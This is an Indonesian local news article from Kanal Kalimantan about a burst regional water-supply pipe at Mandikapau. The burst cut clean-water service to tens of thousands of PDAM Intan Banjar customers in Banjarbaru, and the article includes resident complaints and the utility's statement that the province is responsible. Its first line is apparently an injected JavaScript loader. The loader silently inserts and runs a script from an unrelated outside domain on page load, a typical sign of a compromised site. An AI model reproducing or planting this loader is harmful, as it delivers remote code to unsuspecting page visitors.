(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sepekan lebih sejak kebocoran pipa distribusi Sistem Penyediaan Air Minum (SPAM) Regional Banjarbakula jebol di Mandikapau, berimbas pada ketersedian air baku untuk diolah PDAM Intan Banjar.
Akibatnya pasokan air bersih PDAM Intan Banjar ke pelanggan pada sebagian wilayah di Banjarbaru terganggu.
Berdasarkan keterangan resmi PDAM Intan Banjar yang disampaikan kepada publik, Kamis (23/10/2021) lalu, terjadinya kebocoran pipa SPAM mengakibatkan terhentinya produksi dan suplai air mereka. Sehingga pihak PDAM sendiri tidak dapat optimal mendistribusikan air bersih secara maksimasl kepada pelanggannya.
PDAM Intan Banjar mengklaim jumlah masyarakat terdampak yang totalnya mencapai puluhan ribu pelanggan. Mayoritas berada di Kota Banjarbaru, khususnya di Kecamatan Landasan Ulin, seperti di Jalan Golf, Jalan Kurnia, Jalan Kasturi, Jalan Sukamara, Jalan Sukamaju, dan Jalan Caraka. Wilayah terdampak lainnya di Kelurahan Landasan Ulin Utara, Landasan Ulin Timur, Landasan Ulin Tengah, hingga di kawasan Trikora.
Pipa SPAM Regional Banjarbakula di Mandikapau yang bocor. Foto: dok.pdamintanbanjar
Baca juga : Sekolah Tatap Muka Belum Jelas, Disdik Banjarbaru Wacana Kelas Outdoor
“Kapan jalan lagi airnya. Di rumah saya sudah tidak ada air lagi. Bocornya di daerah lain, kami yang kena dampaknya,” keluh Susanty, warga Kecamatan Landasan Ulin.
Hal yang sama juga diungkapkan Nahdi, kebutuhan dasar air bersih bagi keluarganya sudah sangat mendesak. “Di rumah (air, red) sudah kering. Susah mau ngapa-ngapain kalau air tidak keluar begini. Di rumah juga ada anak-anak,” ucapnya.
Sekadar diketahui, kebocoran pipa SPAM Regional Banjarbakula milik Pemerintah Provinsi (Pemprov) Kalimantan Selatan. Kondisi itulah yang membuat pihak PDAM Intan Banjar mengaku tidak berwenang untuk menindaklanjuti kejadian ini.
“Kami dari PDAM hanya pendistribusi air bersih kepada pelanggan. Kebocoran pipa kali ini masalahnya ada diproduksi air baku, dan itu merupakan wewenang dari SPAM Regional Banjarbakula. Jadi bukan wewenang kami dan kalau secara distribusi sebenarnya kami mengklaim tidak ada masalah,” terang Direktur Teknik (Dirtek) PDAM Intan Banjar, Said Umar.
Baca juga : Vivi Zubedi: Tren Fesyen Berkembang, Ciptakan Ide Kekinian Anak Milenial dari Sasirangan
Pemprov Kalsel selaku pengelola SPAM regional Banjarbakula harus segera menjawab keluhan masyarakat atas terjadinya gangguan pasokan air bersih di wilayah Banjarbaru. Proses perbaikan dan pengembalian tekanan air dituntut agar selesai secepatnya. (kanalkalimantan.com/al)
Reporter : al
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More
KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More
KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More
This website uses cookies.